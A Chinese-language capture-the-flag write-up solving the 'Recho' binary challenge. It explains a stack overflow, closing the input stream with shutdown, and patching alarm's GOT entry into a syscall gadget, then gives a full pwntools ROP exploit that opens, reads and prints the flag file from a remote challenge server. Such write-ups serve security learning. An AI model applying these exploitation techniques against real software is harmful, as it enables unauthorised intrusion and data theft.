0x00:檢視檔案資訊
一個64位二進位制檔案,canary和PIE保護機制沒開。
0x01:用IDA進行靜態分析
分析:主程式部分是一個while迴圈,判斷條件是read返回值大於0則迴圈。函式atoi()是將一個字串轉換成整型資料,看栗子:
這樣子v7可以由我們所決定,所以很明顯第15行存在棧溢位。
個人想法:
看到程式有一堆輸入輸出函式,我首先想到的是ret2libc3。在嘗試的過程中發現無論如何都跳不出while迴圈,使用io=send('')不可以。思考無果,上網找WP。在海師傅的文章中,瞭解到可以用shutdown函式進行操作。而且海師傅是以另外的思路進行洩露的,下面我就借鑑海師傅的思路進行描述。
0x02:深入分析
首先說一下結束迴圈的方法:
使用io.shutdown('write')進行關閉(為啥是write呢?)
測試一下:
read不可以,send可以???,recv不可以。在測試sendline時,報錯看到了重要資訊:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以說明只能用這六個引數。然後繼續測試,in不可以,out可以)。
這樣子的話,這樣總結為不要以程式為物件。而是看引數的函式操縱資料的流向。write、send、out可以,說明由內向外是可以的,反則反方向不可以。(很抱歉,由於資料缺乏。難以從本質上了解。目前先這麼考慮著)
另外,因為關閉後就不能開啟了,除非重新執行程式,所以我們就不能再次ROP到主函式獲取輸入了。這樣很明顯就不能用ret2libc3洩露了,雖然你可以第一次洩露出遠端libc的版本。但由於機器一般都開有aslr保護機制,這樣子libc載入的位置就會在重新執行後發生了改變了。
所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag。
可以構造這樣的程式碼來get flag:
1、int fd = open("flag",READONLY) (注:READONLY=0)
2、read(fd,buf,100)
3、printf(buf)
1、int fd = open("flag",READONLY)
程式中已經匯入了write、printf、alarm、read函式,還缺個open函式。open和這些已匯入的函式都是通過系統呼叫進行呼叫的,所以libc中應該有系統呼叫的相關指令,然後改變rax暫存器,使系統呼叫號變為open的就可以了。
先了解一下32位和64位下的彙編指令的系統呼叫:
- 32位:
- 傳參方式:首先將系統呼叫號傳入eax,然後將引數從左到右依次存入ebx、ecx、edx暫存器中,返回值存在eax暫存器中。
- 呼叫號:sys_read為3,sys_write為4
- 呼叫方式:使用int 80h中斷進行系統呼叫
- 64位:
- 傳參方式:首先將系統呼叫號傳入rax,然後將引數從左到右依次存入rdi、rsi、rdx暫存器中,返回值存在rax暫存器中。
- 呼叫號:sys_read為0,sys_write為1,sys_open為2
- 呼叫方式:使用syscall指令進行系統呼叫
隨便開啟個libc,檢視alarm函式:
系統呼叫指令syscall在alarm起始位置偏移5的位置。可以對alarm.got的值加5,這需要對libc的函式地址執行一次後載入到got表上後進行操作。這裡有個gadget可以達到該目的:
分別對這兩行右鍵,進行undefine。然後對第一行右鍵,進行code。就可以得到如下gadget:
指令 add [rdi],al ,我們可以先讓rdi = got['alarm'],然後使al = 5,這樣執行完該指令後,alarm對應的got表的值就指向了syscall指令。
其它相關的指令:
想要看機器碼的,可以在options->general進行設定:
在改了alarm.got為syscall後,在跳轉到syscall開始系統呼叫之前,還需要做好與open函式相關的準備。有rax=2、rdi=&"flag"、rsi = 0。
pop rax前面已經找出來了,至於字串"flag"的話,在程式中是有的。但在ida中用shift+f12是看不到的,可能是因為"flag"在資料段,但是shift+f12沒有查詢資料段的。我們可以在linux終端用strings ./Recho命令檢視,或者用ida的選單欄中的查詢文字功能。
字串"flag":
pop rsi指令在__libc_csu_init處有,不過沒那麼"純",倒也不影響:
這一段的payload: payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt)
2、read(fd,buf,100)
檔案描述符0、1、2程式已經預設分配了,前面用open函式開啟檔案的檔案描述符應該是3(不行的話可以試試4、5、6……)。buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)
這樣子,這一部分的payload為: payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
3、printf(buf)
用printf函式把第二部分存入stdin_buffer的flag列印出來。
其payload為:
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
整體EXP:
from pwn import * import time context(os='linux', arch='amd64', log_level='debug') #io = process("./Recho") io = remote("111.200.241.244",59230) elf = ELF("./Recho") pop_rax = 0x4006FC pop_rdx = 0x4006FE pop_rsi_r15 = 0x4008A1 pop_rdi = 0x4008A3 rdi_add = 0x40070D flag = 0x601058 stdin_buffer = 0x601070 alarm_got = elf.got['alarm'] alarm_plt = elf.plt['alarm'] read_plt = elf.plt['read'] printf_plt = elf.plt['printf'] io.recvuntil("Welcome to Recho server!\n") io.sendline("400") payload = b'A'*0x38 payload += p64(pop_rdi) + p64(alarm_got) payload += p64(pop_rax) + p64(0x05) payload += p64(rdi_add) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdi) + p64(flag) payload += p64(pop_rax) + p64(2) payload += p64(alarm_plt) payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0) payload += p64(pop_rdi) + p64(3) payload += p64(pop_rdx) + p64(100) payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()
0x03:個人感觸
累~
這題要在程式裡面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看彙編,深入理解程式執行過程中彙編指令的協助。二進位制的道路,任重而道遠~
tolele
2022-07-02